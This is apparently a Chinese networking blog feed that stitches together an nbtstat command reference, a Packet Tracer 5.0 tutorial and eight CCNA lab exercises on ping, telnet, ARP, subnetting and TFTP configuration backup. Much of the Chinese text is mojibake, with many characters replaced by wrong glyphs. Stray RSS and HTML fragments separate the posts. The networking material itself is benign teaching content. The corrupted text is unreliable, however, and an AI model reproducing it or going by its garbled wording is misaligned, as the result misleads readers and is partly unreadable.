nbtstat[-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]

参数

-a remotename

昄q程计算机的 NetBIOS 名称表,其中QRemoteName 是远E计机?NetBIOS 计算机名U。NetBIOS
名称表是与运行在该计机上的应用E序相对应的 NetBIOS 名称列表?

-A IPAddress

昄q程计算机的 NetBIOS 名称表,其名U由q程计算机的 IP 地址指定Q以数点分隔)?

-c

昄 NetBIOS 名称~存内容、NetBIOS 名称表及其解析的各个地址?

-n

昄本地计算机的 NetBIOS 名称表。Registered 的状态表明该名称是通过q播q是 WINS 服务器注册的?

-r

昄 NetBIOS 名称解析l计资料。在配置Z?WINS 且运?Windows XP ?Windows Server 2003 ?br /> 作系l的计算ZQ该参数返回已通过q播?WINS 解析和注册的名称L?

-R

清除 NetBIOS 名称~存的内容ƈ?Lmhosts 文g中重新加载带?#PRE 标记的项目?

-RR

释放q刷新通过 WINS 服务器注册的本地计算机的 NetBIOS 名称?

-s

昄 NetBIOS 客户端和服务器会话,q试囑ְ目标 IP 地址转化为名U?

-S

昄 NetBIOS 客户端和服务器会话,只通过 IP 地址列出q程计算机?

Interval

重新昄选择的统计资料,可以在每个显C内容之间中?Interval 中指定的U数。按 Ctrl+C 停止重新
昄l计信息。如果省略该参数Qnetstat 只昄一ơ当前的配置信息?

/?

在命令提C符下显C帮助?

注释

• Nbtstat 命o行参数区分大写?

• 下表描述?nbtstat 生成的列标题?


标题 描述

Input

接收的字节数?

Output
发送的字节数?

In/Out
该连接是否从计算Z出或者从其他计算Z入到本地计算机?

Lift
名称表缓存项在被清除之前所存留的时间?

Local Name
与连接相关的本地 NetBIOS 名称?

Remote Host
与远E计机相关的名U或 IP 地址?

<03>
转化为十六进制的 NetBIOS 名称的最后一个字节。每?NetBIOS 名称长度均ؓ 16 个字W。最后一个字节通常有特D的意义Q因为相同的名称Q只有最后一个字节不同)可能在一台计机上出现几ơ。例如,<20> ? ASCII 文本中是一个空根{?

Type
名称cd。名U可以是唯一名称Q也可以是组名称?

Status
q程计算Z是否在运?NetBIOS 服务Q已注册Q,或同一计算机名是否已注册了相同的服务(冲突Q?

State
NetBIOS q接的状态?


• 下表描述可能?NetBIOS q接状态?


State 描述
Connected
会话已徏立?

Associated
q接的终l点已经被创建ƈ?IP 地址兌?

Listening
该终l点对入站连接可用?

Idle
该终l点已被打开但不能接收连接?

Connecting
会话处于q接阶段。在此阶D|在解析所选目标的由名U到 IP 地址的映?

Accepting
当前正在接受入站会话Qƈ立卌接?

Reconnecting
会话试N新连接(如果W一ơ连接尝试失败)?

Outbound
会话正处于连接阶Dc当前正在创?TCP q接?

Inbound
入站会话处于q接阶段?

Disconnecting
会话正在断开q接?

Disconnected
本地计算机已断开q接Qƈ正等待远E系l的认?


• 只有?#8220;Internet 协议 (TCP/IP)”协议?#8220;|络q接”中安装ؓ|络适配器属性的lgӞ该命令才可用?


CZ
要显C?NetBIOS 计算机名?CORP07 的远E计机?NetBIOS 名称表,请键入:

nbtstat -a CORP07

要显C所分配 IP 地址?10.0.0.99 的远E计机?NetBIOS 名称表,请键入:

nbtstat -A 10.0.0.99

要显C本地计机?NetBIOS 名称表,请键入:

nbtstat -n

要显C本地计机 NetBIOS 名称~存的内容,请键入:

nbtstat -c

要清?NetBIOS 名称~存q新装载本?Lmhosts 文g中带标记 #PRE 的项目,请键入:

nbtstat -R

要释N过 WINS 服务器注册的 NetBIOS 名称q对光新注册,请键入:

nbtstat -RR

要每 5 U以 IP 地址昄 NetBIOS 会话l计资料Q请键入Q?

nbtstat -S 5

矛_@ 2009-08-18 21:36 发表评论
]]>
Packet Tracer 5.0 用法http://m.tkk7.com/shiliqiang/articles/290749.html矛_@矛_@Wed, 12 Aug 2009 01:39:00 GMThttp://m.tkk7.com/shiliqiang/articles/290749.htmlhttp://m.tkk7.com/shiliqiang/comments/290749.htmlhttp://m.tkk7.com/shiliqiang/articles/290749.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/290749.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/290749.htmlW一、熟悉界?/strong>

 

一、设备的选择与连?/strong>

在界面的左下?/span>一块区域,q里有许多种cȝg讑֤Q从左至叻I从上C依次\由器、交换机、集U器、无U设备、设备之间的q线Q?/span>ConnectionsQ、终端设备、仿真广域网?/span>Custom Made DevicesQ自定义讑֤Q?/u>下面着重讲一?#8220;Connections”Q用鼠标点一下它之后Q在双你会看到各种cd的线Q依ơؓAutomatically Choose Connection TypeQ自动选线Q万能的Q一般不使用Q除非你真的不知道设备之间该用什么线Q、控制线、直通线、交叉线、光U、电话线、同轴电~?/span>DCE?/span>DTE。其?/span>DCE?/span>DTE是用于\由器之间的连U,实际当中Q你需要把DCE和一台\由器相连Q?/span>DTE和另一台设备相q。而在q里Q你只需选一根就是了Q若你选了DCEq一根线Q则和这根线先连的\由器?/span>DCEQ配|该路由器时需配置旉哦。交叉线只在路由器和电脑直接相连Q或交换机和交换Z间相q时才会用到?/span>

注释Q?/strong>那么Custom Made Devices? 备是做什么的呢?通过实验发现当我们用鼠标单击不放开左键把位于第一行的W一个设备也是Router中的L一个拖到工作区Q然后再拖一个然后我们尝? 用串行线Serial DTEq接两个路由器时发现Q他们之间是不会正常q接的,原因是这两个讑֤初始化对然虽焉是模块化的,但是没有dQ比如多个串口等{。那么,q个Custom Made Devices讑֤比较好了,他会自动d一?#8220;必须讑֤?#8221;Q在实验环境下每ơ选择讑֤׃用手动添加所需讑֤了,使用h很方便,除非你想d“用户自定义设?#8221;里没有的讑֤再添加也不迟?/font>

当你需要用哪个讑֤的时候,先用鼠标单击一下它Q然后在中央的工作区域点一下就OK了,或者直接用鼠标摁住q个讑֤把它拖上厅R连U你选中一U线Q然后就在要q接的线的设备上点一下,选接口,再点另一讑֤Q选接口就OK了。注意,接口可不能ؕ选哦。连接好U后Q你可以把鼠标指针移到该q线上,你就会线两端的接口类型和名称哦,配置的时候要用到它?/span>

 

二、对讑֤q行~辑在右Ҏ一个区?/font>Q如?/span>1.2所C,从上C依次为选定/取消、移动(MUdQ移?/span>某一讑֤Q直接拖动它可以了Q?/span>Place NoteQ先选中Q、删除?/span>InspectQ选中后,在\由器?/span>PCZ可看到各U表Q如路由表等Q?/span>simple PPD?/span>complex?/span>

500)this.width=500;" border=0>
 

三、Realtime mode(实时模式)和Simulation modeQ模拟模式)

注意到Y件界面的最右下角有两个切换模式Q分别是Realtime mode(实时模式)和Simulation modeQ模拟模式)Q? 实时模式֐思意x模式Q也是说是真实模式。D个例子,两台L通过直通双l线q接q将他们设ؓ同一个网D,那么ALPingBLӞ瞬间可以? 成,对吗Q这是实时模式。而模拟模式呢Q切换到模拟模式后主机A的CMD里将不会立即昄ICMP信息Q而是软g正在模拟q个瞬间的过E,以hc能够理 解的方式展现出来

1)有趣的Flash动画 怎么实现呢,你只需点击Auto CaptureQ自动捕PQ那么直观、生动的Flash动画xCZ|络数据包的来龙去脉……q是该Y件的一大闪光点Q随后会举例详细介绍的?/font>

500)this.width=500;" border=0>
本地LPC0对远E主机PC2执行Ping命o
 

2)单击Simulate mode会出现Event List对话框,该对话框昄当前捕获到的数据包的详细信息Q包?strong>持箋旉、源讑֤、目的设备、协议类型和协议详细信息Q?/strong>非常直观Q?/span>

500)this.width=500;" border=0>

 

3Q要了解协议的详l信息,请单LCZ用颜色的协议cd信息InfoQ这个功能非常强大:很详l的OSI模型信息和各层PDU?/span>

500)this.width=500;" border=0>

 

 

W二、设备管?/strong>

 

Packet Tracer 5.0提供了很多典型的|络讑֤Q它们有各自q然不同的功能,自然理界面和用方式也不同。这里我׃一一介绍了,只详l介l一下PC机和路由器这两个讑֤的设备管理方法,其他讑֤大家自行研究?/font>

一、PC?/font>

 

一 般情况下QPCZ像\由器有CLIQ它只需要在囑Ş界面下简单地配置一下就行了。一般通过Desktop选项卡下面的IP Configuationp实现单的IP地址、子|、网兛_DNS的配|。此外还提供了拨受终端、命令行Q只能执行一般的|络命oQ、Web览? 和无U网l功能。如果要讄PC动获取IP地址Q可以在Config选项卡里的Global Settings讄?/font>

 

二、\由器

选好讑֤Q连好线后就可以直接q行配置了,然而有些设备,如某些\由器需d一些模块才能用。直接点一下设备,p入了其属性配|界面。这里只举例介绍路由器和PC机,其他的自qI?/span>

?/span>Physical?/span>config?/span>CLI三个Q在Physical中,MODULESQ模块)下有许多模块Q最常用的有WIC-1T?/span>WIC-2T。在最下面的左Ҏ该对该模块的文字描述Q最下面的右Ҏ该模块的图?/span>

在模块的双是该路由器的图。可看它的上面有许多现成的接口,在图的矩形框中。也有许多空槽,图中用椭圆标出,在空槽上可添加模块,?/span>WIC-1TQ?/span>WIC-2TQ? 用鼠标左键按住该模块不放Q拖Cx的插槽中卛_dQ不q这样你肯定不会成功哦,因ؓ你还没有关闭甉|哦。电源位|如图所C,是带绿点的那个东西 哦。绿色表C开哦,路由器默认情况下甉|是开的哦。用鼠标点一下绿炚w里,它就会关闭哦。记得添加模块后重新打开甉|Q这是\由器又重新启动了哦。如果你 没有dWIC-1T?/span>WIC-2Tq一模块Q当你用DTE?/span>DCEU连接两台\由器Q?/span>Router PT除外Q时Q你会发觉根本连不了Q因为它q没?/span>Serial q一接口啊,你叫它怎么q,哈哈?/span>

?/span>Config中,你就可以讄路由器的昄名称、查看和配置路由协议与接口,你会发现q里?/span>Serial口了哦。不q不推荐在这里进行配|哦Q在买来的\由器上你q能q样做吗Q!

CLI׃说了Q命令行配置界面Q也U现金行接口Q——属于CCNA展现技能的舞台。随后将以例子的方式详细描述?/span>

 
 
W三、实?/strong>
说了那么多了Q这个Y件到底型不型Q我们实战一?#8230;…
实例1?strong>研究应用层和传输层协?/strong>
文g: pka.rar
大小: 13KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
地址?br /> 本练习不包括地址表?br /> 学习目标
?PC 使用 URL 捕获 Web h
q行模拟q捕获通信
研究捕获的通信
介:
Wireshark 可以捕获和显C通过|络接口q出其所?PC 的所有网l通信。Packet Tracer 的模拟模式可以捕hl整个网l的所有网l通信Q但支持的协议数量有限。ؓ可能接q实?4.5.3 的设|,我们用一?PC 直接q接? Web 服务器网l,q捕获?URL 的网请求?
d 1Q从 PC 使用 URL 捕获 Web h?br /> 步骤 1. q行模拟q捕获通信?/u> q入 SimulationQ模拟)模式。单?PC。在 DesktopQ桌面)上打开 Web BrowserQWeb 览器)。在览器中输入 www.example.com? 单击 GoQ{刎ͼ会发出 Web 服务器请求。最化 Web 客户端配|窗口。Event ListQ事件列表)中将会显CZ个数据包Q将 URL 解析为服务器 IP 地址所需?DNS hQ以及将服务?IP 地址解析为其g MAC 地址所需?ARP h?br /> 单击 Auto Capture/PlayQ自动捕?播放Q按钮以q行模拟和捕获事件。收?"No More Events"Q没有更多事Ӟ消息时单?OKQ确定)?br /> 步骤 2. 研究捕获的通信?/u> ?Event ListQ事件列表)中找到第一个数据包Q然后单?InfoQ信息)列中的彩色正方Ş。单M件列表中数据包的 InfoQ信息)正方形时Q将会打开 PDU InformationQPDU 信息Q窗口。此H口按 OSI 模型l织。在我们查看的第一个数据包中,注意 DNS 查询Q第 7 层)装在第 4 层的 UDP 数据D中Q等{。如果单击这些层Q将会显C备(本例中ؓ PCQ用的法。查看每一层发生的事g?br /> 打开 PDU InformationQPDU 信息Q窗口时Q默认显C?OSI ModelQOSI 模型Q视图。此时单?Outbound PDU DetailsQ出?PDU 详细数据Q选项卡。向下滚动到此窗口的底部Q您会看到 DNS 查询?UDP 数据D中装成数据,q且装? IP 数据包中?br /> 查看 PDU 信息Q了解交换中的其余事件?br /> 在此dl束Ӟ完成率应?100%?
 
 
实例2?strong>查\?
文g: pka.rar
大小: 61KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
地址?br /> 本练习不包括地址表?br /> 学习目标
使用 route 命o查看 PT-PC 路由?
使用命o提示W?telnet q接?Cisco 路由?
使用基本?Cisco IOS 命o查\由器的\由?
介:
? 通过|络传输数据包,讑֤必须知道通往目的|络的\由。本实验比较在 Windows 计算机和 Cisco 路由器中分别是如何用\q。有些\由已Ҏ|络接口的配|信息被自动dC路由表中。若|络配置?IP 地址和网l掩码,讑֤会认|络已直接连接,|络路由也会被自动输入到路由表中。对于没有直接连接但配置了默认网?IP 地址的网l,发送通信到知道该|络的设备?/div>
d 1Q查看\p
步骤 1. 讉K命o提示W?br /> 单击 PC> DesktopQ桌面)选项?gt; Command PromptQ命令提C符Q?br /> 步骤 2. 键入 netstat -r 以查看当前的路由表?br /> 注意QPacket Tracer 4.1 不支持用于检?PC 上活动\q ROUTE 命o。与 netstat -r 命o不同Qroute 命o可用于查看、添加、删除或更改路由表条目?
在此dl束Ӟ完成率应?100%?/div>
d 2Q用命令提C符 Telnet q接到\由器
步骤 1. 使用命o提示W作?Telnet 客户端?br /> ? ?PC > DesktopQ桌面)选项?gt; Command PromptQ命令提C符Q打开命o提示W窗口。然后键入命? telnet 及远E\由器默认|关?IP 地址 (172.16.255.254)。需要输入的用户名ؓ ccna1Q口令ؓ cisco?
注意Q键入时看不到口令?br /> 在此dl束Ӟ完成率应?100%?/div>
d 3Q用基本的 Cisco IOS 命o查\由器的\?br /> 步骤 1. 学习Ҏ模式
d到远E\由器之后Q键?enable q入Ҏ模式。此处需要输入的口o?class?在键入时仍然看不到口令?br /> 步骤 2. 输入命o以显C\由器的\p?
使用 show ip route 命o昄路由表,它比L计算Z昄的\p更加详细。这是正常行为,因ؓ路由器的工作是在网l之间\由通信?/font>
IP 掩码信息如何昄在\由器的\p中?
在此dl束Ӟ完成率应?100%?
 
实例3?strong>研究 ICMP 数据?/strong>
文g: pka.rar
大小: 34KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
 
学习目标
了解 ICMP 数据包的格式
使用 Packet Tracer 捕获q研I?ICMP 报文
介:
Wireshark 可以捕获和显C通过|络接口q出其所?PC 的所有网l通信。Packet Tracer 的模拟模式可以捕hl整个网l的所有网l通信Q但支持的协议数量有限。ؓ可能接q实?6.7.2 的设|,我们使用的网l中包含一台通过路由器连接到服务器的 PCQƈ且可以捕获从 PC 发出?ping 命o的输出?
d 1Q?Packet Tracer 捕获和研I?ICMP 报文?br /> 步骤 1. 捕获q评估到?Eagle Server ?ICMP 回应报文?/font> q入 SimulationQ模拟)模式。Event List FiltersQ事件列表过滤器Q设|ؓ只显C?ICMP 事g。单?Pod PC。从 DesktopQ桌面)打开 Command PromptQ命令提C符Q?输入命o ping eagle-server.example.com q按 Enter 键。最化 Pod PC 配置H口。单?Auto Capture/PlayQ自动捕?播放Q按钮以q行模拟和捕获事件。收?"No More Events"Q没有更多事Ӟ消息时单? OKQ确定)?/div>
?Event ListQ事件列表)中找到第一个数据包Q即W一条回应请求,然后单击 InfoQ信息)列中的彩色正方Ş。单M件列表中数据包的 InfoQ信息)正方形时Q将会打开 PDU InformationQPDU 信息Q窗口。单?Outbound PDU DetailsQ出?PDU 详细数据Q选项卡以查看 ICMP 报文的内宏V请注意QPacket Tracer 只显C?TYPEQ类型)?CODEQ代码)字段?/div>
要模?Wireshark 的运行,请在其中 At DeviceQ在讑֤Q显CZؓ Pod PC 的下一个事件中Q单d彩色正方形。这是第一条应{。单?Inbound PDU DetailsQ入?PDU 详细数据Q选项卡以查看 ICMP 报文的内宏V?br /> 查看 At DeviceQ在讑֤Qؓ Pod PC 的其余事件。完成时单击 Reset SimulationQ重|模拟)按钮?
步骤 2. 捕获q评估到?192.168.253.1 ?ICMP 回应报文?/strong> 使用 IP 地址 192.168.253.1 重复步骤 1。观看动画,注意哪些讑֤参与交换?
步骤 3. 捕获q评估超q?TTL 值的 ICMP 回应报文?Packet Tracer 不支?ping -i 选项。在模拟模式中,可以使用 Add Complex PDUQ添加复?PDUQ按钮(开口的信封Q设|?TTL?/div>
单击 Add Complex PDUQ添加复?PDUQ按钮,然后单击 Pod PCQ源Q。将会打开 Create Complex PDUQ创建复?PDUQ对话框。在 Destination IP Address:Q目?IP 地址Q) 字段中输? 192.168.254.254。将 TTL: 字段中的值改?1。在 Sequence NumberQ序列号Q字D中输入 1。在 Simulation SettingsQ模拟设|)下选择 PeriodicQ定期) 选项。在 IntervalQ时间间隔)字段中输?2。单? Create PDUQ创?PDUQ按钮。此操作{同于从 Pod PC 上的命o提示W窗口发出命?ping -t -i 1 192.168.254.254?/div>
重复单击 Capture/ForwardQ捕?转发Q按钮,以在 Pod PC 与\由器之间生成多次交换?/div>
?Event ListQ事件列表)中找到第一个数据包Q即W一个回应请求。然后单? InfoQ信息)列中的彩色正方Ş。单M件列表中数据包的 InfoQ信息)正方形时Q将会打开 PDU InformationQPDU 信息Q窗口。单?Outbound PDU DetailsQ出?PDU 详细数据Q选项卡以查看 ICMP 报文的内宏V?/div>
要模?Wireshark 的运行,请在其中 At DeviceQ在讑֤Qؓ Pod PC 的下一个事件中Q单d彩色正方形。这是第一条应{。单?Inbound PDU DetailsQ入?PDU 详细数据Q选项卡以查看 ICMP 报文的内宏V?br /> 查看 At DeviceQ在讑֤Qؓ Pod PC 的其余事件?
在此dl束Ӟ完成率应?100%?
 
实例4?strong>子网和\由器配置
拓扑囑֦下:
文g: pka.rar
大小: 28KB
下蝲: 下蝲
500)this.width=500;" border=0>
地址?br /> 本练习不包括地址表?br /> 学习目标
Ҏ要求划分子网的地址I间
分配适当的地址l接口ƈq行记录
配置q激z?Serial ?FastEthernet 接口
试和验证配|?
思考网l实施ƈ整理成文?
介:
在本 PT l习中,需要ؓ拓扑图中昄的拓扑设计ƈ应用 IP ~址Ҏ。将会ؓ您分配一个地址块,您必d分子|,为网l提供逻辑~址Ҏ。然后就可以Ҏ IP ~址Ҏ配置路由器接口地址。当配置完成Ӟ请验证网l可以正常运作?/div>
d 1Q划分子|的地址I间?/strong>
步骤 1. 查网l要求?/u>
已经?192.168.1.0/24 地址块供您用于网l设计。网l包含以下网D:
q接到\由器 R1 ?LAN 要求h能够支持 15 C机的 IP 地址?nbsp; 
q接到\由器 R2 ?LAN 要求h能够支持 30 C机的 IP 地址?nbsp; 
路由?R1 与\由器 R2 之间的链路要求链路的每一端都?IP 地址?
不要在本l习中用可变长子网划分?
步骤 2. 在设计网l时要考虑以下问题?/u>
在笔记本或单独的U张中回{以下问题?br /> 此网l需要多个子网Q?
此网l以点分十进制格式表C的子网掩码是什么?
此网l以斜杠格式表示的子|掩码是什么?
每个子网有多台可用的主机?
步骤 3. 分配子网地址l拓扑图?/u>
分配W二个子|给q接?R1 的网l?
分配W三个子|给 R1 ?R2 之间的链路?
分配W四个子|给q接?R2 的网l?
在此dl束Ӟ完成率应?0%?
d 2Q确定接口地址?
步骤 1Q分配适当的地址l设备接口?/u>
分配W二个子|中W一个有效的L地址l?R1 ?LAN 接口?
分配W二个子|中最后一个有效的L地址l?PC1?
分配W三个子|中W一个有效的L地址l?R1 ?WAN 接口?
分配W三个子|中最后一个有效的L地址l?R2 ?WAN 接口?
分配W四个子|中W一个有效的L地址l?R2 ?LAN 接口?
分配W四个子|中最后一个有效的L地址l?PC2?
步骤 2Q在拓扑图下的表中记录要使用的地址?
在此dl束Ӟ完成率应?0%?
d 3Q配|?Serial ?FastEthernet 的地址?/font>
步骤 1Q配|\由器接口?/u>
要完?Packet Tracer 中的l习Q需要?ConfigQ配|)选项卡。完成后Q务必保存运行配|到路由器的 NVRAM?br /> 注意Q必L开接口的端口状态?br /> 注意Q所?DCE 串行q接的时钟速率均ؓ 64000?br /> 步骤 2Q配|?PC 接口?/u>
使用|络设计中确定的 IP 地址和默认网x配置 PC1 ?PC2 的以太网接口?
在此dl束Ӟ完成率应?100%?
d 4Q验证配|?/font>
回答下列问题Q验证网l能否正常运行?
能否从连接到 R1 的主?ping 默认|关Q?
能否从连接到 R2 的主?ping 默认|关Q?
能否从\由器 R1 ping R2 ?Serial 0/0/0 接口Q?
能否从\由器 R2 ping R1 ?Serial 0/0/0 接口Q?
注意Q要想从路由器执?pingQ必{?CLI 选项卡?br /> 在此dl束Ӟ完成率应?100%?
 
实例5、研I第 2 层?/font>
文g: pka.rar
大小: 42KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
学习目标
研究|络
q行模拟
介:
?IP 数据包通过|间Ӟ可封装在许多不同的第 2 层中。Packet Tracer 支持以太|、Cisco 的私?HDLC、基?PPP ?IETF 标准以及W?2 层的帧中l。当数据包在路由器之间传送时Q第 2 层ឮ会解封Q而数据包封装在出站接口的第 2 层中。本l习跟t网间的 IP 数据包,研究不同的第 2 层封装?
d 1Q研I网l?/font>
步骤 1. 研究路由器之间的链\
PC1 通过四个路由器连接到 PC2。这些\由器之间的三条链路各自用不同的W?2 层封装。Cisco1 ?Cisco2 之间的链路?Cisco 的私?HDLCQCisco2 ?Brand X 之间的链路用基?PPP ?IETF 标准Q因? Brand X 不是 Cisco 路由器;Brand X ?Cisco3 之间的链路用中通过服务提供商网l,以降低成本(与用专用链路相比)?
步骤 2. 在实时模式中验证q通?/u>
?PC1 ?Command PromptQ命令提C符Q?ping PC2 ?IP 地址。用命?ping 192.168.5.2。如?ping 时Q请重复该命令直臛_成功。可能需要尝试多ơ才能覆盖网l?/div>
d 2Q运行模?/strong>
步骤 1. 开始模?/u>
q入模拟模式。PC1 ?PDU 是发往 PC2 ?ICMP 回应h。单M?Capture/ForwardQ捕?转发Q按钮直?PDU 到达路由?Cisco1?
步骤 2. 研究W?2 层封?/u>
单击路由?Cisco1 上的 PDU。将会打开 PDU InformationQPDU 信息Q窗口。单?Inbound PDU DetailsQ入?PDU 详细数据Q选项卡。入站第 2 层封装是以太|?IIQ因为来自 LAN。单?Outbound PDU DetailsQ出?PDU 详细数据Q选项卡。出站第 2 层封装是 HDLCQ因为要发送到路由?Cisco2?/div>
再次单击 Capture/ForwardQ捕?转发Q按钮。重复此q程Q因?PDU 沿着通往 PC2 的\径到达每个\由器。要注意W?2 层封装在每一跳的变化。另h意,已封装的 IP 数据包不会改变?/div>
 
实例6、地址解析协议 (ARP)
文g: pka.rar
大小: 50KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
地址?br /> 本练习不包括地址表?br /> 学习目标
使用 Packet Tracer ?arp 命o
使用 Packet Tracer ?ARP 交换
介:
TCP/IP 使用地址解析协议 (ARP) 第 3 ?IP 地址映射到第 2 ?MAC 地址。当帧进入网l时Q必定有目的 MAC 地址。ؓ了动态发现目的设备的 MAC 地址Q系l将?LAN 上广?ARP h。拥有该目的 IP 地址的设备将会发出响应,而对应的 MAC 地址记录到 ARP ~存中。LAN 上的每台讑֤都有自己?ARP ~存Q或者利?RAM 中的一块区域来保?ARP l果?ARP ~存定时器将会删除在指定旉D内未用的 ARP 条目。具体时间因讑֤而异。例如,有些 Windows 操作pȝ存储 ARP ~存条目的时间ؓ 2 分钟Q但如果该条目在q段旉内被再次使用Q其 ARP 定时器将廉?10 分钟。ARP 是性能折衷的极佳示例。如果没有缓存,每当帧进入网l时QARP 都必M断请求地址转换。这样会廉通信的gӞ可能会造成 LAN 拥塞。反之,无限制的保存旉可能Dd|络的设备出错或更改W?3 层地址。网l工E师必须了解 ARP 的工作原理,但可能不会经怸协议交互。ARP 是一Uɾ|络讑֤可以通过 TCP/IP 协议q行通信的协议。如果没?ARPQ就没有建立数据报第 2 层目的地址的有效方法。但 ARP 也是潜在的安全风险。例如,ARP ƺ骗?ARP 中毒是d者用来将错误?MAC 地址兌攑օ|络的技术。攻击者伪造设备的 MAC 地址Q致使发送到错误的目的地。手动配|静?ARP 兌是预?ARP ƺ骗的方法之一。您也可以在 Cisco 讑֤上配|授权的 MAC 地址列表Q只允许认可的设备接入网l?/div>
d 1Q?Packet Tracer ?arp 命o
步骤 1. 讉K命o提示W窗口?/u> 单击 PC 1A ?DesktopQ桌面)中的 Command PromptQ命令提C符Q按钮。arp 命o只显C?Packet Tracer 中可用的选项?
步骤 2. 使用 ping 命o?ARP ~存中动态添加条目?br /> ping 命o可用于测试网l连通性。通过讉K其它讑֤QARP
兌会被动态添加到 ARP ~存中。在 PC 1A ?ping 地址 255.255.255.255Qƈ发出 arp -a 命o查看获取?MAC 地址?
在此dl束Ӟ完成率应?100%?
d 2Q?Packet Tracer ?ARP 交换
步骤 1. 配置 Packet Tracer 捕获数据包?/u>
q入模拟模式。确?Event List FiltersQ事件列表过滤器Q只昄 ARP ?ICMP 事g?
步骤 2. 准备 Pod L计算Z执行 ARP 捕获?/u>
?PC 1A 上?Packet Tracer 命o arp -d?然后 Ping 地址 255.255.255.255?br /> 步骤 3. 捕获q评?ARP 通信?br /> 在发?ping 命o之后Q单?Auto Capture/PlayQ自动捕?播放Q捕h据包。当 Buffer FullQ缓冲区已满Q窗口打开Ӟ单击 View Previous EventsQ查看以前的事gQ按钮?
在此dl束Ӟ完成率应?100%?
 
实例7、中间设备用作终端设?/strong>
文g: pka.rar
大小: 52KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>
地址?br /> 本练习不包括地址表?br /> 学习目标
捕获 Telnet 会话的徏立过E?
研究 PC ?Telnet 数据包的交换
介:
q个 Packet Tracer l习{同?#8220;实验 9.8.3Q中间设备用作终端设?#8221;。鉴?Packet Tracer 的局限性以及交换的数据量,本练习限于捕获从 PC C换机?Telnet q接?/div>
d 1Q初始化所有网l表
Step 1.完成生成树协议?/u>
在实时与模拟模式之间切换 4 ơ,完成生成树协议。所有链路指C灯应变为绿艌Ӏ将 PT 保留在实时模式中?br /> 步骤 2. Ping 交换机?/u>
讉K PC 1AQ从 DesktopQ桌面)打开 Command PromptQ命令提C符Q,输入命o ping 172.16.254.1。这更?PC 及交换机?ARP 信息?
d 2Q捕?Telnet 会话的徏立过E?br /> 步骤 1. q入模拟模式?br /> 切换到模拟模式?
步骤 2Q设|事件列表过滤器?/u>
我们只需要捕?Telnet 事g。在 Event List FiltersQ事件列表过滤器Q区域,认只显C?Telnet 事g?
步骤 3. ?PC 1A Telnet q接C换机?/u>
?PC 1A ?Command PromptQ命令提C符Q中Q输入命?telnet 172.16.254.1??Trying TelnetQ正在尝?TelnetQ显C时Ql下一步?
步骤 4. q行模拟?/u>
? ?Auto Capture/PlayQ自动捕?播放Q按钮。恢?PC 1A H口。当提示输入口oӞ输入 cisco q按 Enter 键。最化 PC 1A H口。当 Buffer FullQ缓冲区已满Q窗口出现时Q单?View Previous EventsQ查看以前的事gQ按钮?/div>
Ҏ提示输入 ccna1 作ؓ用户名,输入 cisco 作ؓ口o?
在此dl束Ӟ完成率应?100%?
d 3Q研I?PC 1A 上的 Telnet 数据包交?br /> 步骤 1. 研究装?Telnet 数据?br /> ? 模拟 Wireshark 的运行,LI数据包 At DeviceQ在讑֤Q?1A。在 Inbound PDU DetailsQ入?PDU 详细数据Q和 Outbound PDU DetailsQ出?PDU 详细数据Q中查封装的 Telnet 数据?
步骤 2. 考虑 Telnet 的运行?/u>
恢复 PC 1A H口。将输出与封装的 Telnet 数据q行比较。封装的 Telnet 数据中是否包含口令?
在此dl束Ӟ完成率应?100%?/div>
 
实例8、管理设备配|?/font>
用户注意Q?本练习是实验 11.5.2 的变异,而不是上q实验的附属。本实验中提供了如何完成实验的说明?
文g: pka.rar
大小: 41KB
下蝲: 下蝲
拓扑囑֦下:
500)this.width=500;" border=0>

地址?/div>
500)this.width=500;" border=0>
学习目标
执行基本的\由器配置
备䆾路由器配|文?
?TFTP 服务器将备䆾配置文g重新加蝲到\由器?RAM ?
保存新的q行配置?NVRAM
介:
本实验将?Cisco 路由器上配置常用讄Q将配置保存?TFTP 服务器,然后?TFTP 服务器恢复配|?/div>
d 1Q配|?ROUTER1
步骤 1QROUTER1 的基本配|?br /> 使用实验开头的表格配置路由 器主机名。配|?FastEthernet 接口及其说明。以 cisco 为口令,保护Ҏ制台端口的访问。用加密的使能口o class 配置路由器。用口?cisco 限制对\由器的远E访问。配|标语,警告此处止未经授权的h员访问。在路由器上执行 show running-config 命o验证路由器的配置。如果配|不正确Q修正Q何配|错误,然后重试。将配置保存?NVRAM 中?
在此dl束Ӟ完成率应?62%?
d 2Q配|?TFTP 服务?
步骤 1Q配|?TFTP 服务?br /> 使用以下信息第 3 层地址和默认网兛_用到 TFTP 服务器:
IP 地址Q?92.168.1.2
子网掩码Q?55.255.255.0
默认|关Q?92.168.1.1
步骤 2Q验证连通?br /> ?ROUTER1 Ping TFTP 服务器。如?ping p|Q请?TFTP 和\由器配置以解决问题?br /> 在此dl束Ӟ完成率应?100%?/div>
d 3Q备份启动配|到 TFTP 服务?br /> 步骤 1Q复刉|?br /> ?ROUTER1 上?Copy Start TFTP 命o。输?TFTP IP 地址作ؓq程L的地址Q保留所有其它问题ؓ默认|?EnterQ?br /> 在此dl束Ӟ完成率应?100%?
d 4Q验证配|传输到 TFTP 服务?br /> 步骤 1Q验?TFTP 传输
先单?TFTP 服务器。接着单击 ConfigQ配|)选项卡。然后单?TFTP 选项卡。确认列Z ROUTER1-config 文gQ应位于列表底部Q?br /> 在此dl束Ӟ完成率应?100%?nbsp;


摘自Qhttp://blog.163.com/qiaopengzhe/


矛_@ 2009-08-12 09:39 发表评论
]]>一个Tcp|络服务框架例子http://m.tkk7.com/shiliqiang/articles/288644.html矛_@矛_@Mon, 27 Jul 2009 14:09:00 GMThttp://m.tkk7.com/shiliqiang/articles/288644.htmlhttp://m.tkk7.com/shiliqiang/comments/288644.htmlhttp://m.tkk7.com/shiliqiang/articles/288644.html#Feedback0http://m.tkk7.com/shiliqiang/comments/commentRss/288644.htmlhttp://m.tkk7.com/shiliqiang/services/trackbacks/288644.html阅读全文

矛_@ 2009-07-27 22:09 发表评论
]]>
